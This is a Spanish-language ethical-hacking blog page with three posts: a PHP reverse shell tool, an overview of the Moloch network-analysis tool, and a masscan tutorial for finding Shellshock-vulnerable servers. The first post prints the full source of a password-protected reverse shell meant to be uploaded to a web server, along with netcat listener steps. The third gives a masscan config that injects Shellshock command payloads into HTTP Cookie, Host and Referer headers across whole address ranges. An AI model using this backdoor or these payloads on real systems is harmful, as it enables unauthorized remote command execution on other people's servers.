actualidad sobre consultoria, normas y seguridad de la informacion
Guias, procesos y manuales sobre Ethical Hacking
Mostrando entradas con la etiqueta tool. Mostrar todas las entradas

PHP Shell Inversa v1.0 - Autenticación de funciones.



Esta herramienta está diseñada para situaciones en la que un pentester tiene acceso a un servidor web que ejecuta PHPy requiere de una Shell para trabajos de Ethical Hacking.

Este Script se debe subir en algún lugar de la raíz  del sitio web, después ejecutarlo accediendo a la URL correspondiente en su navegador. La Shell se abrirá bajo una conexión TCP desde el servidor web a un host y el puerto definido en el guión.

Esta Shell es adecuada para que se puedan ejecutar programas interactivos como Telnet y SSH.
Esta Shell tiene una función de autenticación incorporada que evita que otra persona abuse de su Backdoor.
Se diferencia de las demas Shell de formulario de autenticacion basado en Web que le permite enviar un solo comando,

Modificación de conexión en el Cod. 


1
2
3
$ip = "127.0.0.1"; #Cambie esto a su IP 
$puerto = 4444;      #Cambie esto a su puerto
$contraseña = base64_decode("aGFja3N5c3RlYW0="); #Contraseña por defecto: hacksysteam (MD5)

Cambie los valores según su necesidad y situación

Configuración de NetCat Receptor:

Inicie un receptor Netcat en un host y el puerto que será accesible por el servidor web.
Utilice el mismo puerto en este momento según lo especificado en el script de shell inversa, por ejemplo, (4444):


1
C:\Users\Antony\netcat>:~ # nc -lvvp 4444

Subir el Script y Ejecutarlo:
Subir el Script de Shell Inversa. Ejecute el script simplemente buscando el archivo recién cargado en su navegador web.


1
http:/<IP>/<RUTA/<Script>.php


Nota: No verá ninguna salida en la página web, si esta tiene activada (display errors) puede que muestre algun warning o error y la pagina queda en un lapso de espera, de ser asi haga caso omiso y revise su NetCat Listener.

En el encontrara la captura del login del script, digite la contraseña configurada para ingresar a la Shell:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
C:\Users\Antony\netcat>nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost127.0.0.1 [127.0.0.1] 4077

 _    _            _     _____
| |  | |          | |   / ____|
| |__| | __ _  ___| | _| (___  _   _ ___
|  __  |/ _` |/ __| |/ /\___ \| | | / __|
| |  | | (_| | (__|   < ____) | |_| \__ \
|_|  |_|\__,_|\___|_|\_\_____/ \__, |___/
 _______                        __/ |
|__   __|                      |___/
   | | ___  __ _ _ __ ___
   | |/ _ \/ _` | '_ ` _ \
   | |  __/ (_| | | | | | |
   |_|\___|\__,_|_| |_| |_|

    Reverse Shell in PHP
    Author: Ashfaq Ansari
   hacksysteam@hotmail.com
 http://hacksys.vfreaks.com/

Enter Password: hacksysteam

Authentication Successfull..

System Information:

Current Working Directory:
User Group:
Current Date and Time: La fecha actual es: 09/03/2015
Escriba la nueva fecha: (dd-mm-aa)

@127.0.0.1:~#


Código Fuente de la Shell Inversa


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
<?php
###################################################
#               Reverse Shell v1.0                #
#             Authentication Feature              #
#                                                 #
#            Hacksys Team - Panthera              #
#             Author: Ashfaq Ansari               #
#            hacksysteam@hotmail.com              #
#          http://hacksys.vfreaks.com             #
#              Designed for Linux                 #
#             Thanks to lionaneesh                #
#             lionaneesh@gmail.com                #
###################################################

ini_set('max_execution_time' ,0);

$VERSION = "1.0";
$ip = "127.0.0.1"; #Change this
$port = 4444;      #Change this
$password = base64_decode("aGFja3N5c3RlYW0="); #Default Password: hacksysteam (MD5)

$banner = ("
 _    _            _     _____            
| |  | |          | |   / ____|                            
| |__| | __ _  ___| | _| (___  _   _ ___
|  __  |/ _` |/ __| |/ /\___ \| | | / __|
| |  | | (_| | (__|   < ____) | |_| \__ \
|_|  |_|\__,_|\___|_|\_\_____/ \__, |___/
 _______                        __/ |                                
|__   __|                      |___/  
   | | ___  __ _ _ __ ___  
   | |/ _ \/ _` | '_ ` _ \
   | |  __/ (_| | | | | | |
   |_|\___|\__,_|_| |_| |_|
   
    Reverse Shell in PHP
    Author: Ashfaq Ansari
   hacksysteam@hotmail.com
 http://hacksys.vfreaks.com/\n\n");

$pwd = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$id = shell_exec('id | cut -d "(" -f 2 | cut -d ")" -f 1' );
$date = shell_exec("date");
$len = 1337;
$info =
("
System Information:\n$sysinfo
Current Working Directory: $pwd
User Group: $id
Current Date and Time: $date\n
");

print "\nTrying to connect to: $ip on port $port ...\n\n";

$sockfd = fsockopen($ip , $port , $errno, $errstr );

if($errno != 0)
  {
    print "\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n";
    die(0);
  }
else if (!$sockfd)
  {
    print "Fatal : An unexpected error was occured when trying to connect!\n";
  }
else
  {
    print "Connected to: $ip on port $port ...\n\n";
    fputs ($sockfd , $banner);
    fputs($sockfd ,"Enter Password: ");
    $getpass = trim(fgets($sockfd, strlen($password) + 2));

    if ($getpass == $password)
    {
      fputs($sockfd, "\nAuthentication Successfull..\n");
      fputs($sockfd, $info);
      while(!feof($sockfd))
      {
    $cmdPrompt = trim($id) . "@" . trim($ip) . ":~" . trim($pwd) . "# ";
    fputs ($sockfd , $cmdPrompt );
    $command = trim(fgets($sockfd, $len));
        if (trim($command) == "exit")
    {
      fputs($sockfd ,"\nAborted by user... Exiting..." );
      fclose($sockfd);
      die(0);
    }
    fputs($sockfd , "\n" . shell_exec($command) . "\n");
      }
      fclose($sockfd);
      die(0);
    }
    else
    {
      fputs($sockfd ,"\nInvalid Password... Quitting...");
      fclose($sockfd);
      die(0);
    }
  }
?>



Agradecimiento a @Ashfaq Ansari autor del Script.




Read more

MOLOCH, ESCANNER DE RED VIA WEB DE AOL

La empresa AOL ha hecho publica una herramienta de análisis de trafico de red al parecer versátil en modo Open Souce. se trata de Moloch


Se que a muchos les parecerá una herramienta mas. qué nos aporta frente a otras herramientas como Wireshark?

  • Se utiliza y gestiona vía web
  • Está muy enfocado al análisis forense, por lo que hay disponibles plugins muy concretos para dichos menesteres (como por ejemplo, Geolocalización de tramas, reglas de Yara...)
  • Facilidad para la búsqueda e indexado de información dentro de las capturas de red
  • Posibilidad de crear GUIs propias debido a que hay disponible una API para todo el mostrado de información
  • Para el análisis en tiempo real, es posible disponer de una arquitectura distribuida sobre la que mantener sus componentes (bases de datos, indexados, visor de eventos...) y almacenar capturas de tráfico para su posible investigación futura.
Sobre los componentes de esta herramienta, tendremos los siguientes:
  1. capture - el elemento (escrito en C) que nos permitirá capturar tráfico directamente desde la fuente por cada interfaz de red de la que nos interese obtener información.
  2. viewer - aplicación en node.js que se ejecuta por cada máquina en red y que mantiene la interfaz web y la transferencia de ficheros PCAP.
  3. elasticsearch - tecnología de base de datos que nos facilitará la tarea de búsqueda de información.
Ejemplo simple de arquitectura para Moloch

Interfaz de la versión 0.8.0 de Moloch

Gracias a la interfaz, tendremos diferentes visualizaciones que nos facilitarán la tarea en la investigación, como es el caso del modo "Connections", el cual mediante un grafo nos visualizará relaciones entre los elementos involucrados, o el visor "SPI View" con el que podemos filtrar la información en base a multitud de criterios y elementos procesados.

Visualizador de conexiones según búsqueda realizada en base de datos de tráfico en Moloch

Vista SPI con filtrado e indexado de información almacenada en capturas de tráfico

Sin duda una herramienta a tener en cuenta, que nos permitirá llevar el análisis de tráfico a un nuevo nivel, y nos dará más visibilidad en nuestras tareas diarias en las que necesitemos investigar actividad de red de una manera ágil e intuitiva.

Si quieres probar la herramienta de manera online a modo de demo, podrás acceder a la siguiente URL:
utilizando moloch/moloch como credenciales.

Podra descargar el proyecto desde la siguiente url


Read more

Probando el nuevo popular Port Scaner MASSCAN - ShellShock

hace un tiempo me encante por la velocidad de escaneo de esta herramienta hablo de MASSCAN un TCP Port Scanner, asi que hablaremos de su gran ventaja con las millones de herramientas que existen para este tema.

MASSCAN hasta el momento es el Port Scanner mas rapido que he utilizado, su velocidad de escaneo y respuesta es muy interesante ademas que no tiene nada que envidiar a Nmap en nada, los resultados que produce son muy similares a Nmap, pero internamente trabaja como ZMap utilizando transmisión asíncrona. La principal diferencia es que es más rápido que estos otros escáneres. Además, es más flexible y permite intervalos de direcciones y rangos de puertos arbitrarios.

Según su creador Rober Graham (@ErrataRob) MASSCAN es capaz de escanear todo Internet en tan solo 3 minutos.
Mediante un PC con un procesador de 4 núcleos y una tarjeta ethernet dual-port de 10gbs teóricamente puede transmitir 25 millones de paquetes por segundo lo que equivale a los 3 minutos.

10gbs de conexión muy difícil de tener en estos tiempos. pero igualmente supera en mucho en cuanto a velocidad sus homogéneos.

Instalación en Maquina CentOS:
debemos instalar los requisitos de la herramienta:
  1. sudo yum -y install git gcc make libpcap libpcap-devel clang clang-devel

Nos descargamos e instalamos la herramienta
  1. git clone https://github.com/robertdavidgraham/masscan
  2. cd masscan
  3. make -j
  4. sudo cp bin/masscan /bin/masscan
  5. cd ..
  6. rm -rf masscan

Al ejecutar MASSCAN nos muestra en pantalla como usarlo

como vemos en la imagen anterior su uso es similar a NMAP 
en la cual en el ejmplo se observa el escanear la direccion 10.0.0.0 con mascara 8 y sus 16 millones de direcciones:

Network:    10.0.0.0/8           00001010. 00000000.00000000.00000000
HostMin:10.0.0.100001010. 00000000.00000000.00000001
HostMax:10.255.255.25400001010. 11111111.11111111.11111110
Broadcast:10.255.255.25500001010. 11111111.11111111.11111111
Hosts/Net:16777214Class APrivate Internet

las exploraciones se hará al puerto 80 y el rango 8000-8100 



Analizando vulnerabilidad SHELLSHOCK
para realizar este análisis hay que descargarse el parche de MASSCAN de modificar las cabeceras HTTP
  1. git clone https://github.com/robertdavidgraham/masscan
  2. cd masscan/src/
  3. rm proto-http.c
  4. wget https://raw.githubusercontent.com/robertdavidgraham/masscan/master/src/proto-http.c
  5. cd ..
  6. make

ahora debemos crear un archivo de "configuración" para realizar el escaneo

  1. objetivo-ip = xxxxx/24
  2. port = 80
  3. = banners verdadera
  4. http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
  5. http-header[Cookie] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx
  6. http-header[Host] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx
  7. http-header[Referer] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx
Donde las xxx.xxx.xxx.xxx colocar la IP de la maquina la cual hace el scan y asi las maquinas vulnerables hace ping a esa IP.

Esta configuración de MASSCAN inyecta un comando shell en las cabeceras HTTP Cookies, Host y Referer. Si el servidor remoto es vulnerable a la falla de seguridad "Shellshock" y  una de las variables de la Cookie,

Host y Referer se utilizan como variables de entorno cuando se llama a un módulo de CGI.
En el caso de nuestra configuración si el servidor es vulnerable a "shellshock" deberíamos recibir un ping de esa maquina.

Ejecutamos dos terminales en la maquina, en el primer terminar se debe ejecutar TCPDUMP con el fin de mostrarnos todas las solicitudes de ping entrantes y nos permita identificar todas las maquinas vulnerables.
  1. sudo tcpdump -v icmp
en la segunda terminal ejecuto MASSCAN con la configuración anteriormente creada
  1. sudo masscan -c masscan.conf

este es el resultado alojado.

En el cual veo respuesta de una maquina vulnerable.

Esto es todo amigos espero que les sirva de algo, a mi me ha gustado jugar con esta herramienta y sobre todo con la nueva vul. ShellShock jeje

Hasta otra ;)
mas información sobre la herramienta: 


Read more